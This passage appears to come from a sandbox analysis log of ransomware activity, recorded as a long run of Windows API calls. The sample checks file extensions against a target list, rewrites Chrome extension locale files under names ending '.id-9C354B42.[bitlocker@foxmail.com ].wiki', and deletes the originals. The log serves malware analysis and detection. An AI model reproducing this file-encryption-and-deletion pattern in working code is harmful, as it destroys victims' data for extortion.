HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.140] lstrlenW (lpString=".doc") returned 4 [0173.140] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.140] lstrlenW (lpString=".docx") returned 5 [0173.140] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.140] lstrlenW (lpString=".pdf") returned 4 [0173.141] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.141] lstrlenW (lpString=".xls") returned 4 [0173.141] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.141] lstrlenW (lpString=".xlsx") returned 5 [0173.141] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.141] lstrlenW (lpString=".ppt") returned 4 [0173.141] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.141] lstrlenW (lpString=".zip") returned 4 [0173.141] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.141] lstrlenW (lpString=".rar") returned 4 [0173.141] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.141] lstrlenW (lpString=".bz2") returned 4 [0173.141] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.141] lstrlenW (lpString=".7z") returned 3 [0173.141] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.141] lstrlenW (lpString=".dbf") returned 4 [0173.141] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.141] lstrlenW (lpString=".1cd") returned 4 [0173.141] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.141] lstrlenW (lpString=".jpg") returned 4 [0173.141] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.141] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.141] lstrlenW (lpString=".doc") returned 4 [0173.141] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.141] lstrlenW (lpString=".docx") returned 5 [0173.142] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.142] lstrlenW (lpString=".pdf") returned 4 [0173.142] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.142] lstrlenW (lpString=".xls") returned 4 [0173.142] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.142] lstrlenW (lpString=".xlsx") returned 5 [0173.142] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.142] lstrlenW (lpString=".ppt") returned 4 [0173.142] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.142] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.142] lstrlenW (lpString=".zip") returned 4 [0173.142] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.142] lstrlenW (lpString=".rar") returned 4 [0173.142] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.142] lstrlenW (lpString=".bz2") returned 4 [0173.142] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.142] lstrlenW (lpString=".7z") returned 3 [0173.142] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.142] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.142] lstrlenW (lpString=".dbf") returned 4 [0173.142] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.142] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.142] lstrlenW (lpString=".1cd") returned 4 [0173.142] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.142] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fil\\messages.json") returned 152 [0173.142] lstrlenW (lpString=".jpg") returned 4 [0173.142] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.143] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.143] lstrlenW (lpString="messages.json") returned 13 [0173.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.143] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=215) returned 1 [0173.143] CloseHandle (hObject=0x124) returned 1 [0173.143] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json")) returned 0x2020 [0173.143] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.143] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.143] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.143] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.144] GetLastError () returned 0x0 [0173.144] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xd7, lpOverlapped=0x0) returned 1 [0173.145] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.146] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.146] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.146] SetEndOfFile (hFile=0x334) returned 1 [0173.146] CloseHandle (hObject=0x334) returned 1 [0173.146] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.146] SetEndOfFile (hFile=0x124) returned 1 [0173.147] CloseHandle (hObject=0x124) returned 1 [0173.147] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.147] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json")) returned 1 [0173.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.147] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.147] lstrlenW (lpString=".doc") returned 4 [0173.147] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.147] lstrlenW (lpString=".docx") returned 5 [0173.147] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.147] lstrlenW (lpString=".pdf") returned 4 [0173.147] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.147] lstrlenW (lpString=".xls") returned 4 [0173.147] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.148] lstrlenW (lpString=".xlsx") returned 5 [0173.148] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.148] lstrlenW (lpString=".ppt") returned 4 [0173.148] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.148] lstrlenW (lpString=".zip") returned 4 [0173.148] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.148] lstrlenW (lpString=".rar") returned 4 [0173.148] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.148] lstrlenW (lpString=".bz2") returned 4 [0173.148] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.148] lstrlenW (lpString=".7z") returned 3 [0173.148] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.148] lstrlenW (lpString=".dbf") returned 4 [0173.148] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.148] lstrlenW (lpString=".1cd") returned 4 [0173.148] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.148] lstrlenW (lpString=".jpg") returned 4 [0173.148] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.148] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.148] lstrlenW (lpString=".doc") returned 4 [0173.148] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.148] lstrlenW (lpString=".docx") returned 5 [0173.148] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.148] lstrlenW (lpString=".pdf") returned 4 [0173.148] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.149] lstrlenW (lpString=".xls") returned 4 [0173.149] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.149] lstrlenW (lpString=".xlsx") returned 5 [0173.149] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.149] lstrlenW (lpString=".ppt") returned 4 [0173.149] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.149] lstrlenW (lpString=".zip") returned 4 [0173.149] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.149] lstrlenW (lpString=".rar") returned 4 [0173.149] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.149] lstrlenW (lpString=".bz2") returned 4 [0173.149] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.149] lstrlenW (lpString=".7z") returned 3 [0173.149] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.149] lstrlenW (lpString=".dbf") returned 4 [0173.149] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.149] lstrlenW (lpString=".1cd") returned 4 [0173.149] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.149] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\fr\\messages.json") returned 151 [0173.149] lstrlenW (lpString=".jpg") returned 4 [0173.149] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.149] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0173.149] lstrlenW (lpString="messages.json") returned 13 [0173.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.150] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=221) returned 1 [0173.150] CloseHandle (hObject=0x124) returned 1 [0173.150] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json")) returned 0x2020 [0173.150] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0173.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x124 [0173.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.150] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.150] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334 [0173.151] GetLastError () returned 0x0 [0173.151] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0xdd, lpOverlapped=0x0) returned 1 [0173.152] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xe0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xe0, lpOverlapped=0x0) returned 1 [0173.153] ReadFile (in: hFile=0x124, lpBuffer=0x3d10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0173.153] WriteFile (in: hFile=0x334, lpBuffer=0x3d10020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d10020*, lpNumberOfBytesWritten=0x315fc9c*=0xee, lpOverlapped=0x0) returned 1 [0173.153] SetEndOfFile (hFile=0x334) returned 1 [0173.153] CloseHandle (hObject=0x334) returned 1 [0173.153] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0173.153] SetEndOfFile (hFile=0x124) returned 1 [0173.154] CloseHandle (hObject=0x124) returned 1 [0173.154] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0173.154] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json")) returned 1 [0173.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.154] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.154] lstrlenW (lpString=".doc") returned 4 [0173.154] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.154] lstrlenW (lpString=".docx") returned 5 [0173.154] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.154] lstrlenW (lpString=".pdf") returned 4 [0173.154] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.155] lstrlenW (lpString=".xls") returned 4 [0173.155] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.155] lstrlenW (lpString=".xlsx") returned 5 [0173.155] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.155] lstrlenW (lpString=".ppt") returned 4 [0173.155] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.155] lstrlenW (lpString=".zip") returned 4 [0173.155] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.155] lstrlenW (lpString=".rar") returned 4 [0173.155] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.155] lstrlenW (lpString=".bz2") returned 4 [0173.155] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.155] lstrlenW (lpString=".7z") returned 3 [0173.155] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.155] lstrlenW (lpString=".dbf") returned 4 [0173.155] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0173.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.155] lstrlenW (lpString=".1cd") returned 4 [0173.155] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0173.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.155] lstrlenW (lpString=".jpg") returned 4 [0173.155] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0173.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.155] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.155] lstrlenW (lpString=".doc") returned 4 [0173.155] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0173.155] lstrlenW (lpString=".docx") returned 5 [0173.156] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0173.156] lstrlenW (lpString=".pdf") returned 4 [0173.156] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0173.156] lstrlenW (lpString=".xls") returned 4 [0173.156] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0173.156] lstrlenW (lpString=".xlsx") returned 5 [0173.156] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0173.156] lstrlenW (lpString=".ppt") returned 4 [0173.156] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0173.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\he\\messages.json") returned 151 [0173.156] lstrlenW (lpString=".zip") returned 4 [0173.156] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0173.156] lstrlenW (lpString=".rar") returned 4 [0173.156] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0173.156] lstrlenW (lpString=".bz2") returned 4 [0173.156] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0173.156] lstrlenW (lpString=".7z") returned 3 [0173.156] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0173.156] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 